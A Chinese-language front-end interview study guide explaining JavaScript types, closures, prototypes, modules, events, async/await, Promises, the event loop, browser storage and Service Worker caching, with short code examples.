width: 200px;
background-color: blue;
}
.box-right {
flex: 1; // 设置flex-grow属性为1,默认为0
background-color: red;
}
# 2 JavaScript
# typeof类型判断
typeof
是否能正确判断类型?instanceof
能正确判断对象的原理是什么
typeof
对于原始类型来说,除了null
都可以显示正确的类型
typeof 1 // 'number'
typeof '1' // 'string'
typeof undefined // 'undefined'
typeof true // 'boolean'
typeof Symbol() // 'symbol'
typeof
对于对象来说,除了函数都会显示object
,所以说typeof
并不能准确判断变量到底是什么类型
typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'
如果我们想判断一个对象的正确类型,这时候可以考虑使用
instanceof
,因为内部机制是通过原型链来判断的
const Person = function() {}
const p1 = new Person()
p1 instanceof Person // true
var str = 'hello world'
str instanceof String // false
var str1 = new String('hello world')
str1 instanceof String // true
对于原始类型来说,你想直接通过
instanceof
来判断类型是不行的
typeof
- 直接在计算机底层基于数据类型的值(二进制)进行检测
typeof null
为object
原因是对象存在在计算机中,都是以000
开始的二进制存储,所以检测出来的结果是对象typeof
普通对象/数组对象/正则对象/日期对象 都是object
typeof NaN === 'number'
instanceof
- 检测当前实例是否属于这个类的
- 底层机制:只要当前类出现在实例的原型上,结果都是true
- 不能检测基本数据类型
constructor
- 支持基本类型
constructor
可以随便改,也不准
Object.prototype.toString.call([val])
- 返回当前实例所属类信息
写一个getType函数,获取详细的数据类型
- 获取类型
- 手写一个
getType
函数,传入任意变量,可准确获取类型 - 如
number
、string
、boolean
等值类型 - 引用类型
object
、array
、map
、regexp
- 手写一个
/**
* 获取详细的数据类型
* @param x x
*/
function getType(x) {
const originType = Object.prototype.toString.call(x) // '[object String]'
const spaceIndex = originType.indexOf(' ')
const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise
# 类型转换
首先我们要知道,在
JS
中类型转换只有三种情况,分别是:
- 转换为布尔值
- 转换为数字
- 转换为字符串
转Boolean
在条件判断时,除了
undefined
,null
,false
,NaN
,''
,0
,-0
,其他所有值都转为true
,包括所有对象
对象转原始类型
对象在转换类型的时候,会调用内置的
[[ToPrimitive]]
函数,对于该函数来说,算法逻辑一般来说如下
- 如果已经是原始类型了,那就不需要转换了
- 调用
x.valueOf()
,如果转换为基础类型,就返回转换的值 - 调用
x.toString()
,如果转换为基础类型,就返回转换的值 - 如果都没有返回原始类型,就会报错
当然你也可以重写
Symbol.toPrimitive
,该方法在转原始类型时调用优先级最高。
let a = {
valueOf() {
return 0
},
toString() {
return '1'
},
[Symbol.toPrimitive]() {
return 2
}
}
1 + a // => 3
四则运算符
它有以下几个特点:
- 运算中其中一方为字符串,那么就会把另一方也转换为字符串
- 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
1 + '1' // '11'
true + true // 2
4 + [1,2,3] // "41,2,3"
- 对于第一行代码来说,触发特点一,所以将数字
1
转换为字符串,得到结果'11'
- 对于第二行代码来说,触发特点二,所以将
true
转为数字1
- 对于第三行代码来说,触发特点二,所以将数组通过
toString
转为字符串1,2,3
,得到结果41,2,3
另外对于加法还需要注意这个表达式
'a' + + 'b'
'a' + + 'b' // -> "aNaN"
- 因为
+ 'b'
等于NaN
,所以结果为"aNaN"
,你可能也会在一些代码中看到过+ '1'
的形式来快速获取number
类型。 - 那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字
4 * '3' // 12
4 * [] // 0
4 * [1, 2] // NaN
比较运算符
- 如果是对象,就通过
toPrimitive
转换对象 - 如果是字符串,就通过
unicode
字符索引来比较
let a = {
valueOf() {
return 0
},
toString() {
return '1'
}
}
a > -1 // true
在以上代码中,因为
a
是对象,所以会通过valueOf
转换为原始类型再比较值。
# 闭包
闭包的定义其实很简单:函数
A
内部有一个函数B
,函数B
可以访问到函数A
中的变量,那么函数B
就是闭包
function A() {
let a = 1
window.B = function () {
console.log(a)
}
}
A()
B() // 1
闭包存在的意义就是让我们可以间接访问函数内部的变量
经典面试题,循环中使用闭包解决
var
定义函数的问题
for (var i = 1; i <= 5; i++) {
setTimeout(function timer() {
console.log(i)
}, i * 1000)
}
首先因为
setTimeout
是个异步函数,所以会先把循环全部执行完毕,这时候i
就是6
了,所以会输出一堆6
解决办法有三种
- 第一种是使用闭包的方式
for (var i = 1; i <= 5; i++) {
;(function(j) {
setTimeout(function timer() {
console.log(j)
}, j * 1000)
})(i)
}
在上述代码中,我们首先使用了立即执行函数将
i
传入函数内部,这个时候值就被固定在了参数j
上面不会改变,当下次执行timer
这个闭包的时候,就可以使用外部函数的变量j
,从而达到目的
- 第二种就是使用
setTimeout
的第三个参数,这个参数会被当成timer
函数的参数传入
for (var i = 1; i <= 5; i++) {
setTimeout(
function timer(j) {
console.log(j)
},
i * 1000,
i
)
}
- 第三种就是使用
let
定义i
了来解决问题了,这个也是最为推荐的方式
for (let i = 1; i <= 5; i++) {
setTimeout(function timer() {
console.log(i)
}, i * 1000)
}
# 原型与原型链
原型关系
- 每个
class
都有显示原型prototype
- 每个实例都有隐式原型
__proto__
- 实例的
__proto__
指向class
的prototype
// 父类
class People {
constructor(name) {
this.name = name
}
eat() {
console.log(`${this.name} eat something`)
}
}
// 子类
class Student extends People {
constructor(name, number) {
super(name)
this.number = number
}
sayHi() {
console.log(`姓名 ${this.name} 学号 ${this.number}`)
}
}
// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()
基于原型的执行规则
获取属性xialuo.name
或执行方法xialuo.sayhi
时,先在自身属性和方法查找,找不到就去__proto__
中找
原型链
People.prototype === Student.prototype.__proto__
# 原型继承和 Class 继承
涉及面试题:原型如何实现继承?
Class
如何实现继承?Class
本质是什么?
首先先来讲下 class
,其实在 JS
中并不存在类,class
只是语法糖,本质还是函数
class Person {}
Person instanceof Function // true
组合继承
组合继承是最常用的继承方式
function Parent(value) {
this.val = value
}
Parent.prototype.getValue = function() {
console.log(this.val)
}
function Child(value) {
Parent.call(this, value)
}
Child.prototype = new Parent()
const child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
- 以上继承的方式核心是在子类的构造函数中通过
Parent.call(this)
继承父类的属性,然后改变子类的原型为new Parent()
来继承父类的函数。 - 这种继承方式优点在于构造函数可以传参,不会与父类引用属性共享,可以复用父类的函数,但是也存在一个缺点就是在继承父类函数的时候调用了父类构造函数,导致子类的原型上多了不需要的父类属性,存在内存上的浪费
寄生组合继承
这种继承方式对组合继承进行了优化,组合继承缺点在于继承父类函数时调用了构造函数,我们只需要优化掉这点就行了
function Parent(value) {
this.val = value
}
Parent.prototype.getValue = function() {
console.log(this.val)
}
function Child(value) {
Parent.call(this, value)
}
Child.prototype = Object.create(Parent.prototype, {
constructor: {
value: Child,
enumerable: false,
writable: true,
configurable: true
}
})
const child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
以上继承实现的核心就是将父类的原型赋值给了子类,并且将构造函数设置为子类,这样既解决了无用的父类属性问题,还能正确的找到子类的构造函数。
Class 继承
以上两种继承方式都是通过原型去解决的,在
ES6
中,我们可以使用class
去实现继承,并且实现起来很简单
class Parent {
constructor(value) {
this.val = value
}
getValue() {
console.log(this.val)
}
}
class Child extends Parent {
constructor(value) {
super(value)
this.val = value
}
}
let child = new Child(1)
child.getValue() // 1
child instanceof Parent // true
class
实现继承的核心在于使用extends
表明继承自哪个父类,并且在子类构造函数中必须调用super
,因为这段代码可以看成Parent.call(this, value)
。
# 模块化
涉及面试题:为什么要使用模块化?都有哪几种方式可以实现模块化,各有什么特点?
使用一个技术肯定是有原因的,那么使用模块化可以给我们带来以下好处
- 解决命名冲突
- 提供复用性
- 提高代码可维护性
立即执行函数
在早期,使用立即执行函数实现模块化是常见的手段,通过函数作用域解决了命名冲突、污染全局作用域的问题
(function(globalVariable){
globalVariable.test = function() {}
// ... 声明各种变量、函数都不会污染全局作用域
})(globalVariable)
AMD 和 CMD
鉴于目前这两种实现方式已经很少见到,所以不再对具体特性细聊,只需要了解这两者是如何使用的。
// AMD
define(['./a', './b'], function(a, b) {
// 加载模块完毕可以使用
a.do()
b.do()
})
// CMD
define(function(require, exports, module) {
// 加载模块
// 可以把 require 写在函数体的任意地方实现延迟加载
var a = require('./a')
a.doSomething()
})
CommonJS
CommonJS
最早是Node
在使用,目前也仍然广泛使用,比如在Webpack
中你就能见到它,当然目前在Node
中的模块管理已经和CommonJS
有一些区别了
// a.js
module.exports = {
a: 1
}
// or
exports.a = 1
// b.js
var module = require('./a.js')
module.a // -> log 1
ar module = require('./a.js')
module.a
// 这里其实就是包装了一层立即执行函数,这样就不会污染全局变量了,
// 重要的是 module 这里,module 是 Node 独有的一个变量
module.exports = {
a: 1
}
// module 基本实现
var module = {
id: 'xxxx', // 我总得知道怎么去找到他吧
exports: {} // exports 就是个空对象
}
// 这个是为什么 exports 和 module.exports 用法相似的原因
var exports = module.exports
var load = function (module) {
// 导出的东西
var a = 1
module.exports = a
return module.exports
};
// 然后当我 require 的时候去找到独特的id,然后将要使用的东西用立即执行函数包装下,over
虽然
exports
和module.exports
用法相似,但是不能对exports
直接赋值。因为var exports = module.exports
这句代码表明了exports
和module.exports
享有相同地址,通过改变对象的属性值会对两者都起效,但是如果直接对exports
赋值就会导致两者不再指向同一个内存地址,修改并不会对module.exports
起效
ES Module
ES Module
是原生实现的模块化方案,与CommonJS
有以下几个区别
CommonJS
支持动态导入,也就是require(${path}/xx.js)
,后者目前不支持,但是已有提案CommonJS
是同步导入,因为用于服务端,文件都在本地,同步导入即使卡住主线程影响也不大。而后者是异步导入,因为用于浏览器,需要下载文件,如果也采用同步导入会对渲染有很大影响CommonJS
在导出时都是值拷贝,就算导出的值变了,导入的值也不会改变,所以如果想更新值,必须重新导入一次。但是ES Module
采用实时绑定的方式,导入导出的值都指向同一个内存地址,所以导入值会跟随导出值变化ES Module
会编译成require/exports
来执行的
// 引入模块 API
import XXX from './a.js'
import { XXX } from './a.js'
// 导出模块 API
export function a() {}
export default function() {}
# 事件机制
涉及面试题:事件的触发过程是怎么样的?知道什么是事件代理嘛?
1. 事件触发三阶段
事件触发有三个阶段:
window
往事件触发处传播,遇到注册的捕获事件会触发- 传播到事件触发处时触发注册的事件
- 从事件触发处往
window
传播,遇到注册的冒泡事件会触发
事件触发一般来说会按照上面的顺序进行,但是也有特例,如果给一个
body
中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行
// 以下会先打印冒泡然后是捕获
node.addEventListener(
'click',
event => {
console.log('冒泡')
},
false
)
node.addEventListener(
'click',
event => {
console.log('捕获 ')
},
true
)
2. 注册事件
通常我们使用
addEventListener
注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值useCapture
参数来说,该参数默认值为false
,useCapture
决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性
capture
:布尔值,和useCapture
作用一样once
:布尔值,值为true
表示该回调只会调用一次,调用后会移除监听passive
:布尔值,表示永远不会调用preventDefault
一般来说,如果我们只希望事件只触发在目标上,这时候可以使用
stopPropagation
来阻止事件的进一步传播。通常我们认为stopPropagation
是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。stopImmediatePropagation
同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。
node.addEventListener(
'click',
event => {
event.stopImmediatePropagation()
console.log('冒泡')
},
false
)
// 点击 node 只会执行上面的函数,该函数不会执行
node.addEventListener(
'click',
event => {
console.log('捕获 ')
},
true
)
3. 事件代理
如果一个节点中的子节点是动态生成的,那么子节点需要注册事件的话应该注册在父节点上
<ul id="ul">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
</ul>
<script>
let ul = document.querySelector('#ul')
ul.addEventListener('click', (event) => {
console.log(event.target);
})
</script>
事件代理的方式相较于直接给目标注册事件来说,有以下优点:
- 节省内存
- 不需要给子节点注销事件
# 箭头函数
- 箭头函数不绑定
arguments
,可以使用...args
代替 - 箭头函数没有
prototype
属性,不能进行new
实例化 - 箭头函数不能通过
call
、apply
等绑定this
,因为箭头函数底层是使用bind
永久绑定this
了,bind
绑定过的this
不能修改 - 箭头函数的
this
指向创建时父级的this
- 箭头函数不能使用
yield
关键字,不能作为Generator
函数
const fn1 = () => {
// 箭头函数中没有arguments
console.log('arguments', arguments)
}
fn1(100, 300)
const fn2 = () => {
// 这里的this指向window,箭头函数的this指向创建时父级的this
console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})
const obj = {
name: 'poetry',
getName2() {
// 这里的this指向obj
return () => {
// 这里的this指向obj
return this.name
}
},
getName: () => { // 1、不适用箭头函数的场景1:对象方法
// 这里不能使用箭头函数,否则箭头函数指向window
return this.name
}
}
obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
// 这里不能使用箭头函数,否则this指向window
return this.name
}
const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
// 这里不能使用箭头函数 this === window
this.innerHTML = 'click'
})
// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
data:{name:'poetry'},
methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
getName: () => {
// 这里不能使用箭头函数,否则this指向window
return this.name
}
},
mounted:() => {
// 这里不能使用箭头函数,否则this指向window
this.getName()
}
})
// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
constructor(name) {
this.name = name
}
getName = () => { // 这里的箭头函数this指向实例本身没有问题的
return this.name
}
}
const f = new Foo('poetry')
console.log(f.getName() )
总结:不适用箭头函数的场景
- 场景1:对象方法
- 场景2:对象原型
- 场景3:构造函数
- 场景4:动态上下文的回调函数
- 场景5:vue的生命周期和
method
# JS内存泄露如何检测?场景有哪些?
内存泄漏:当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。
1. 垃圾回收机制
- 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
- 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
- JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
- 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)
有两种垃圾回收策略:
- 标记清除:标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
- 引用计数:它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为
0
),对象将被垃圾回收机制回收
标记清除的缺点:
- 内存碎片化,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
- 分配速度慢,因为即便是使用
First-fit
策略,其操作仍是一个O(n)
的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。
解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)
引用计数的缺点:
- 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
解决不了循环引用导致的无法回收问题
IE 6、7
,JS
对象和DOM
对象循环引用,清除不了,导致内存泄露
V8
的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。
- 针对新生区采用并行回收。
- 针对老生区采用增量标记与惰性回收
注意:
闭包不是内存泄露,闭包的数据是不可以被回收的
拓展:WeakMap、WeakMap的作用
- 作用是
防止内存泄露的
WeakMap
、WeakMap
的应用场景- 想临时记录数据或关系
- 在
vue3
中大量使用了WeakMap
WeakMap
的key
只能是对象,不能是基本类型
2. 如何检测内存泄露
内存泄露模拟
<p>
memory change
<button id="btn1">start</button>
</p>
<script>
const arr = []
for (let i = 0; i < 10 * 10000; i++) {
arr.push(i)
}
function bind() {
// 模拟一个比较大的数据
const obj = {
str: JSON.stringify(arr) // 简单的拷贝
}
window.addEventListener('resize', () => {
console.log(obj)
})
}
let n = 0
function start() {
setTimeout(() => {
bind()
n++
// 执行 50 次
if (n < 50) {
start()
} else {
alert('done')
}
}, 200)
}
document.getElementById('btn1').addEventListener('click', () => {
start()
})
</script>
打开开发者工具,选择 Performance
,点击 Record
,然后点击 Stop
,在 Memory
选项卡中可以看到内存的使用情况。
3. 内存泄露的场景(Vue为例)
- 被全局变量、函数引用,组件销毁时未清除
- 被全局事件、定时器引用,组件销毁时未清除
- 被自定义事件引用,组件销毁时未清除
<template>
<p>Memory Leak Demo</p>
</template>
<script>
export default {
name: 'Memory Leak Demo',
data() {
return {
arr: [10, 20, 30], // 数组 对象
}
},
methods: {
printArr() {
console.log(this.arr)
}
},
mounted() {
// 全局变量
window.arr = this.arr
window.printArr = ()=>{
console.log(this.arr)
}
// 定时器
this.intervalId = setInterval(() => {
console.log(this.arr)
}, 1000)
// 全局事件
window.addEventListener('resize', this.printArr)
// 自定义事件也是这样
},
// Vue2是beforeDestroy
beforeUnmount() {
// 清除全局变量
window.arr = null
window.printArr = null
// 清除定时器
clearInterval(this.intervalId)
// 清除全局事件
window.removeEventListener('resize', this.printArr)
},
}
</script>
4. 拓展 WeakMap WeakSet
weakmap
和 weakset
都是弱引用,不会阻止垃圾回收机制回收对象。
const map = new Map()
function fn1() {
const obj = { x: 100 }
map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeakMap() // 弱引用
function fn1() {
const obj = { x: 100 }
// fn1执行完 obj会被清理掉
wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()
# async/await异步总结
知识点总结
promise.then
链式调用,但也是基于回调函数async/await
是同步语法,彻底消灭回调函数
async/await和promise的关系
- 执行
async
函数,返回的是promise
async function fn2() {
return new Promise(() => {})
}
console.log( fn2() )
async function fn1() {
return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
await
相当于promise
的then
try catch
可捕获异常,代替了promise
的catch
await
后面跟Promise
对象:会阻断后续代码,等待状态变为fulfilled
,才获取结果并继续执行await
后续跟非Promise
对象:会直接返回
(async function () {
const p1 = new Promise(() => {})
await p1
console.log('p1') // 不会执行
})()
(async function () {
const p2 = Promise.resolve(100)
const res = await p2
console.log(res) // 100
})()
(async function () {
const res = await 100
console.log(res) // 100
})()
(async function () {
const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
const res = await p3 // await 相当于then
console.log(res) // 不会执行
})()
try...catch
捕获rejected
状态
(async function () {
const p4 = Promise.reject('some err')
try {
const res = await p4
console.log(res)
} catch (ex) {
console.error(ex)
}
})()
总结来看:
async
封装Promise
await
处理Promise
成功try...catch
处理Promise
失败
异步本质
await
是同步写法,但本质还是异步调用。
async function async1 () {
console.log('async1 start')
await async2()
console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
}
async function async2 () {
console.log('async2')
}
console.log('script start')
async1()
console.log('script end')
// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
console.log('async1 start') // 2
await async2()
// await后面的下面三行都是异步回调callback的内容
console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
await async3()
// await后面的下面1行都是异步回调callback的内容
console.log('async1 end2') // 7
}
async function async2 () {
console.log('async2') // 3
}
async function async3 () {
console.log('async3') // 6
}
console.log('script start') // 1
async1()
console.log('script end') // 4
即,只要遇到了
await
,后面的代码都相当于放在callback
(微任务) 里。
执行顺序问题
网上很经典的面试题
async function async1 () {
console.log('async1 start')
await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}
async function async2 () {
console.log('async2')
}
console.log('script start')
setTimeout(function () { // 异步,宏任务
console.log('setTimeout')
}, 0)
async1()
new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
console.log('promise1') // Promise 的函数体会立刻执行
resolve()
}).then (function () { // 异步,微任务
console.log('promise2')
})
console.log('script end')
// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务
// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务
// 输出
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout
关于for...of
for in
以及forEach
都是常规的同步遍历for of
用于异步遍历
// 定时算乘法
function multi(num) {
return new Promise((resolve) => {
setTimeout(() => {
resolve(num * num)
}, 1000)
})
}
// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
const nums = [1, 2, 3];
nums.forEach(async x => {
const res = await multi(x);
console.log(res); // 一次性打印
})
}
test1();
// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
const nums = [1, 2, 3];
for (let x of nums) {
// 在 for...of 循环体的内部,遇到 await 会挨个串行计算
const res = await multi(x)
console.log(res) // 依次打印
}
}
test2()
# Promise异步总结
知识点总结
- 三种状态
pending
、fulfilled
(通过resolve
触发)、rejected
(通过reject
触发)pending => fulfilled
或者pending => rejected
- 状态变化不可逆
- 状态的表现和变化
pending
状态,不会触发then
和catch
fulfilled
状态会触发后续的then
回调rejected
状态会触发后续的catch
回调
- then和catch对状态的影响(重要)
then
正常返回fulfilled
,里面有报错返回rejected
const p1 = Promise.resolve().then(()=>{ return 100 }) console.log('p1', p1) // fulfilled会触发后续then回调 p1.then(()=>{ console.log(123) }) // 打印123 const p2 = Promise.resolve().then(()=>{ throw new Error('then error') }) // p2是rejected会触发后续catch回调 p2.then(()=>{ console.log(456) }).catch(err=>{ console.log(789) }) // 打印789
catch
正常返回fulfilled
,里面有报错返回rejected
const p1 = Promise.reject('my error').catch(()=>{ console.log('catch error') }) p1.then(()=>{ console.log(1) }) // console.log(p1) p1返回fulfilled 触发then回调 const p2 = Promise.reject('my error').catch(()=>{ throw new Error('catch error') }) // console.log(p2) p2返回rejected 触发catch回调 p2.then(()=>{ console.log(2) }).catch(()=>{ console.log(3) })
promise then和catch的链接
// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled
// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled
// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled
# Event Loop执行机制过程
- 同步代码一行行放到
Call Stack
执行,执行完就出栈 - 遇到异步优先记录下,等待时机(定时、网络请求)
- 时机到了就移动到
Call Queue
(宏任务队列)- 如果遇到微任务(如
promise.then
)放到微任务队列 - 宏任务队列和微任务队列是分开存放的
- 因为微任务是
ES6
语法规定的 - 宏任务(
setTimeout
)是浏览器规定的
- 因为微任务是
- 如果遇到微任务(如
- 如果
Call Stack
为空,即同步代码执行完,Event Loop
开始工作Call Stack
为空,尝试先DOM
渲染,在触发下一次Event Loop
- 轮询查找
Event Loop
,如有则移动到Call Stack
- 然后继续重复以上过程(类似永动机)
DOM事件和Event Loop
DOM
事件会放到Web API中
等待用户点击,放到Call Queue
,在移动到Call Stack
执行
JS
是单线程的,异步(setTimeout
、Ajax
)使用回调,基于Event Loop
DOM
事件也使用回调,DOM
事件非异步,但也是基于Event Loop
实现
宏任务和微任务
- 介绍
- 宏任务:
setTimeout
、setInterval
、DOM
事件、Ajax
- 微任务:
Promise.then
、async/await
- 微任务比宏任务执行的更早
console.log(100) setTimeout(() => { console.log(200) }) Promise.resolve().then(() => { console.log(300) }) console.log(400) // 100 400 300 200
- 宏任务:
- event loop 和 DOM 渲染
- 每次
call stack
清空(每次轮询结束),即同步代码执行完。都是DOM
重新渲染的机会,DOM
结构如有改变重新渲染 - 再次触发下一次
Event Loop
const $p1 = $('<p>一段文字</p>') const $p2 = $('<p>一段文字</p>') const $p3 = $('<p>一段文字</p>') $('#container') .append($p1) .append($p2) .append($p3) console.log('length', $('#container').children().length ) alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染') // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果) // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预 // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了 setTimeout(function () { alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了') })
- 每次
- 宏任务和微任务的区别
- 宏任务:
DOM
渲染后再触发,如setTimeout
- 微任务:
DOM
渲染前会触发,如Promise
// 修改 DOM const $p1 = $('<p>一段文字</p>') const $p2 = $('<p>一段文字</p>') const $p3 = $('<p>一段文字</p>') $('#container') .append($p1) .append($p2) .append($p3) // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染) // Promise.resolve().then(() => { // const length = $('#container').children().length // alert(`micro task ${length}`) // DOM渲染了?No // }) // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染) setTimeout(() => { const length = $('#container').children().length alert(`macro task ${length}`) // DOM渲染了?Yes })
- 宏任务:
再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?
- 微任务:
ES
语法标准之内,JS
引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。 - 宏任务:
ES
语法没有,JS
引擎不处理,浏览器(或nodejs
)干预处理。
总结:正确的一次 Event loop 顺序是这样
- 执行同步代码,这属于宏任务
- 执行栈为空,查询是否有微任务需要执行
- 执行所有微任务
- 必要的话渲染
UI
- 然后开始下一轮
Event loop
,执行宏任务中的异步代码
通过上述的
Event loop
顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作DOM
的话,为了更快的响应界面响应,我们可以把操作DOM
放入微任务中
# 3 浏览器
# 储存
涉及面试题:有几种方式可以实现存储功能,分别有什么优缺点?什么是
Service Worker
?
cookie,localStorage,sessionStorage,indexDB
特性 | cookie | localStorage | sessionStorage | indexDB |
---|---|---|---|---|
数据生命周期 | 一般由服务器生成,可以设置过期时间 | 除非被清理,否则一直存在 | 页面关闭就清理 | 除非被清理,否则一直存在 |
数据存储大小 | 4KB | 5M | 5M | 无限 |
与服务端通信 | 每次都会携带在 header 中,对于请求性能影响 | 不参与 | 不参与 | 不参与 |
从上表可以看到,
cookie
已经不建议用于存储。如果没有大量数据存储需求的话,可以使用localStorage
和sessionStorage
。对于不怎么改变的数据尽量使用localStorage
存储,否则可以用sessionStorage
存储
对于 cookie 来说,我们还需要注意安全性。
属性 | 作用 |
---|---|
value | 如果用于保存用户登录态,应该将该值加密,不能使用明文的用户标识 |
http-only | 不能通过 JS 访问 Cookie ,减少 XSS 攻击 |
secure | 只能在协议为 HTTPS 的请求中携带 |
same-site | 规定浏览器不能在跨域请求中携带 Cookie ,减少 CSRF 攻击 |
Service Worker
Service Worker
是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用Service Worker
的话,传输协议必须为HTTPS
。因为Service Worker
中涉及到请求拦截,所以必须使用HTTPS
协议来保障安全Service Worker
实现缓存功能一般分为三个步骤:首先需要先注册Service Worker
,然后监听到install
事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存,存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现:
// index.js
if (navigator.serviceWorker) {
navigator.serviceWorker
.register('sw.js')
.then(function(registration) {
console.log('service worker 注册成功')
})
.catch(function(err) {
console.log('servcie worker 注册失败')
})
}
// sw.js
// 监听 `install` 事件,回调中缓存所需文件
self.addEventListener('install', e => {
e.waitUntil(
caches.open('my-cache').then(function(cache) {
return cache.addAll(['./index.html', './index.js'])
})
)
})
// 拦截所有请求事件
// 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据
self.addEventListener('fetch', e => {
e.respondWith(
caches.match(e.request).then(function(response) {
if (response) {
return response
}
console.log('fetch source')
})
)
})
打开页面,可以在开发者工具中的
Application
看到Service Worker
已经启动了
在
Cache
中也可以发现我们所需的文件已被缓存
当我们重新刷新页面可以发现我们缓存的数据是从
Service Worker
中读取的
# 浏览器缓存机制
注意:该知识点属于性能优化领域,并且整一章节都是一个面试题
